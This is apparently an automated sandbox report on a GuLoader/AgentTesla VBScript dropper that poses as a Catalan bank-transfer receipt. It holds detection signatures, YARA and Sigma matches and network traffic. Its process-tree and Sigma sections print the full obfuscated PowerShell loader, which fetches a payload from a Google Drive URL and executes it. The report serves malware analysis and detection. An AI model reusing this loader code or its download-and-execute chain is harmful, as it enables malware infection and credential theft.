Edit tour

Windows Analysis Report
justificant de transfer#U00e8ncia.vbs

Overview

General Information

Sample name:	justificant de transfer#U00e8ncia.vbs renamed because original name is a hash value
Original sample name:	justificant de transferncia.vbs
Analysis ID:	1427932
MD5:	6d2f93878e625759f49553c5f971ddc9
SHA1:	bf821caba21c6786fb3c0657259fa9e6fa09aace
SHA256:	b6938d3e36a7d58523cd80f095f36593e0de47fe6d65dd74e5e91c0719a3849c
Tags:	AgentTeslaGuLoadervbs
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Found suspicious powershell code related to unpacking or dynamic code loading

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Very long command line found

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4836 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7180 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCederyDisposCounttMargeeBattemEtage.SaareNDousee Pra,tTriqu.SixfoWTopfoe Tim bRe maCSideblprelei BlgeeOverfnTek,ttRigsa ');parasols (Baroclinicity 'fremm$ GeggpDememh orhaysmertlT,maclIsthmoM,metmRetroaVan,tnMo gecAngolyTel,g.Cap,cH Na seBarbaaJuveld FdereSkkelrRaabesVcrum[Preva$CategB SelvuLymphdGigabgHex.deArnolt FootfSorehoKoki,r BactsBodyblJord aHypergBos isGast.]Raens=Aflaa$ZafreSMrkvrt Can rcolesaAlmennRe ndd AbsceCistodtykpan SemieAntipsN veasUdspr ');$Damasker=Baroclinicity 'Fe ogpProcahR tteyvesiclschatlJegrooDi cimAcousa SpinnGaeldcSinciySkede.reg,nD.lefaoEfterwabrogn TegllSigbroIrrecaunviadTr.feFAt.niiOverclToaareMo,nw(Kontr$Sejr PIndk,rRll.koJayvegInsi.rGrundaWhatrmBytt,b HypoiGad.nb KondlSlangiPatacoBugspt D oseGennekBlnd.eAr her HispnForkaeDatak,Croft$Ne.ghS EkspnAvlsseBogbidAulopsUng.n)Nudit ';$Damasker=$Programmeringsmaessig[1]+$Damasker;$Sneds=$Programmeringsmaessig[0];parasols (Baroclinicity 'overm$K.selgJamb.lFormaoIhndebikrafa,eriel,till: Hin,B,boniiTaleslExchal Erhvi Oxygg BlgegMa,icrAdopte Diakl KonssRo lyeHyposrMiszo= Net (ForhaT luste Tubus implt Ha,d- SldePForhraFigurtMinibhAmam Fde.a$ HjlaSPaahonFundgeF,rfad DetasForkl).lgod ');while (!$Billiggrelser) {parasols (Baroclinicity 'S.eve$OplivgBudsnlSp aeoBrsnobbou oaSespelPlebe:A,eliTVatikuStiltsskildimaternSpiridDigtesHldnitAnissr Fa iaElskoaUnshrlCorroe Nvn.rquake= Beau$ lapptHistirFr ueuRyg reforpl ') ;parasols $Damasker;parasols (Baroclinicity 'Bog.oSPrototRorpiaInquirP,otetEfte,-CykelS .irclKobbeeAlle,eOmklap,remm ,rav4Ekspe ');parasols (Baroclinicity 'Rrfla$EftergDolomlKerauoA.milbProphaAarvalstryg:BisatBAr.ibiCate.lHeinel AntriVgtstg Ka agAutocrReexpeEquallPhotosDelebeEt.oxr Maks= Admi(Udf.dTReinseIgnavs BrndtStofm- fyrsP Nvnea Mar,tAux.lh Jo u kano$Chal,SFleksnInst eFordedTavolsUnrel)Kemof ') ;parasols (Baroclinicity 'Twist$ArbejgThe ilGarago UndebEvideaBesl.lBe,je:NonseS OrdstUb fre Mosenstoleo LrligKopmarM,rcuaOplsnmCroucm,ladseSt.kkt Scols U ca=Perip$ nticg mporlBiplaoByfesbHvnedaLretilIldeb:MachaSB asfuFo,anbSmaa.f schraTankelKokkecLudediCalamf,kkomoEl smrstan.mswart+Becke+Skraa%Famle$BrandA,eriavSpodee dfon NybeiKumpanKolog. GospcGoldeo,rammuSymm,nDataltSvejs ') ;$Programbibliotekerne=$Avenin[$Stenogrammets];}parasols (Baroclinicity ' .lin$Tempog RecalLiquiozoos,bAlteraNdsitlOve v:FilmoLL vkeaAfdrynOpkald tormsAsturbPyknoyFlagep.elvsrShadosSvvebtNiskeeNovaenMacaw Wair,=Udvis ga.kGNest eUparrtskoma-Hu meCMadpaoskjornFlekstDietie OptonMetrotDilet Besin$ UnreSCentrnCultueLiflidPat.isUbevi ');parasols (Baroclinicity 'Armek$basgugUdlanlTrr.loCytosbsabataRvejalProce:Ou prOKandivUdlane UnferKil.nmforlnaAftrdrTrsnikUsm nilindbnMiswrg Ern. Wheat=Ham.e Benni[ WorkSDetaiy BovrsMicrot GyneePrecam ,rat.PrestCHemipoStrannRb,rtvRdby.e DimyrDegust .onh]Bindi:Bedre:DeraiFGrupprTerreoUnisemudbomBla.tvaForbrsSupereBygni6.piso4UnepiS Ahant DenarSubcliDisinnAfbetg Para(Vak,u$ L tuLManagaSqui nHje md h,resBurleb ansoyYdemepDiskorSl,ansPeltit DemoeF.nesn Hule)Anemo ');parasols (Baroclinicity '.onoc$BidiagLforblBlartounp ibMell abuslilI dek:WhiffAElectnUd.ybtSkkephamidoo Acrom .vote FonedFer euGloris GifoaU ntae ack ,lsk= Udlb Elsk[.alkeSGemmey TallsB somt Strae Fll mIntra. afbrTSkrfeeCiconxA trataffyr.Keel EVan gnDelficPlatoo Uvild Svumi nfln Karlg d.ma]Dreje:Smile:Femi,ASleavS Mil,CBundlIStbegIUvorn. BiasGFagoteNorditP,enoSTolertUnwarr AppoiLoudenSelbog.uniw(Clar $Perm.OKr blv M lieSka,orOphvemBourtaHgte,r .eilkOutediCenten PuyagSu.pm) Reco ');parasols (Baroclinicity ' Morp$byg egPaiwalTankeoMetenb ContaDribllDhunc:ProtoBS,nkieAdminkOmflylTanklecivi mPredemGenbre UdkanHjlped Po,yeWa,er=Nudat$GrafiA Projn Philt GutthK.sseoochermTak ne .emrd LoweuFestfs SlaaaL.ttee N.nm. Ar,isSpilduSpecibDrusesGkanttTrykarTomatiInclin revpgHaggy(Gooie2Slags8Indgi4 noha4Hawke5Fortr3Kaoli,Brams2guara8Milit9Masti4U,der5 .amm)fde a ');parasols $Beklemmende;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7312 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Colouration.Afh && echo $" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7180	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x496ef:$b2: ::FromBase64String( 0x49783:$b2: ::FromBase64String( 0x49852:$b2: ::FromBase64String( 0x4edf8:$b2: ::FromBase64String( 0x4ee33:$b2: ::FromBase64String( 0x4ee6f:$b2: ::FromBase64String( 0x4eeac:$b2: ::FromBase64String( 0x4eeea:$b2: ::FromBase64String( 0x4ef29:$b2: ::FromBase64String( 0x4ef69:$b2: ::FromBase64String( 0x4efaa:$b2: ::FromBase64String( 0x4efec:$b2: ::FromBase64String( 0x4f02f:$b2: ::FromBase64String( 0x4f073:$b2: ::FromBase64String( 0x4f0b8:$b2: ::FromBase64String( 0x4f0fe:$b2: ::FromBase64String( 0x4f145:$b2: ::FromBase64String( 0x4f18d:$b2: ::FromBase64String( 0x4f1d6:$b2: ::FromBase64String( 0x4f317:$b2: ::FromBase64String( 0x5a0db:$b2: ::FromBase64String(

Other

Source	Rule	Description	Author	Strings
amsi64_7180.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xe2d3:$b2: ::FromBase64String( 0xd2f3:$s1: -join 0x6a9f:$s4: += 0x6b61:$s4: += 0xad88:$s4: += 0xcea5:$s4: += 0xd18f:$s4: += 0xd2d5:$s4: += 0xf707:$s4: += 0xf787:$s4: += 0xf84d:$s4: += 0xf8cd:$s4: += 0xfaa3:$s4: += 0xfb27:$s4: += 0xdad8:$e4: Get-WmiObject 0xdcc7:$e4: Get-Process 0xdd1f:$e4: Start-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs", CommandLine|base64offset|contains: u, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs", ProcessId: 4836, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs", CommandLine|base64offset|contains: u, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\justificant de transfer#U00e8ncia.vbs", ProcessId: 4836, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCederyDisposCounttMargeeBattemEtage.SaareNDousee Pra,tTri

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Multi AV Scanner detection for submitted file

Source: justificant de transfer#U00e8ncia.vbs	ReversingLabs: Detection: 26%
Source: justificant de transfer#U00e8ncia.vbs	Virustotal: Detection: 13%			Perma Link

Source: unknown	HTTPS traffic detected: 142.250.105.102:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.105.132:443 -> 192.168.2.7:49702 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1478677403.0000024518932000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000003.00000002.1478677403.0000024518932000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb1 source: powershell.exe, 00000003.00000002.1477405694.00000245188C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb source: powershell.exe, 00000003.00000002.1475618652.00000245186D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000003.00000002.1478677403.0000024518932000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000003.00000002.1475618652.00000245186D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1476770908.0000024518751000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32N source: powershell.exe, 00000003.00000002.1478677403.0000024518932000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000003.00000002.1475618652.00000245186D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: powershell.exe, 00000003.00000002.1475618652.00000245186D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 00000003.00000002.1475618652.0000024518688000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2w HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2w&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2w HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2w&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: powershell.exe, 00000003.00000002.1475618652.0000024518688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: wscript.exe, 00000000.00000003.1313680179.00000231779F0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1314579860.00000231779F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: wscript.exe, 00000000.00000003.1315096548.00000231779D2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1313805648.00000231779D2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1326774060.0000023177C60000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.1313680179.00000231779F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?82507bda4611d
Source: wscript.exe, 00000000.00000002.1326774060.0000023177C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabe
Source: wscript.exe, 00000000.00000002.1325736248.0000023175C07000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1324822095.0000023175C07000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1324163948.0000023175B9E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1322539019.0000023175B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enT:
Source: wscript.exe, 00000000.00000003.1314982983.0000023177CB6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1314661704.0000023177C8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?82507bda46
Source: powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.google.com
Source: powershell.exe, 00000003.00000002.1437259239.0000024502053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.usercontent.google.com
Source: powershell.exe, 00000003.00000002.1471665681.0000024510415000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1437259239.0000024500261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.1437259239.0000024500261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1437259239.0000024500754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245020AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.000002450203C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1437259239.0000024501B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googP
Source: powershell.exe, 00000003.00000002.1437259239.0000024501B22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2wP
Source: powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.googh
Source: powershell.exe, 00000003.00000002.1437259239.00000245006EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000003.00000002.1437259239.00000245006EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1SEGcwBcOPuC6M5vDjkNXiPzaZozdUe2w&export=download
Source: powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1437259239.0000024501543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1471665681.0000024510415000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
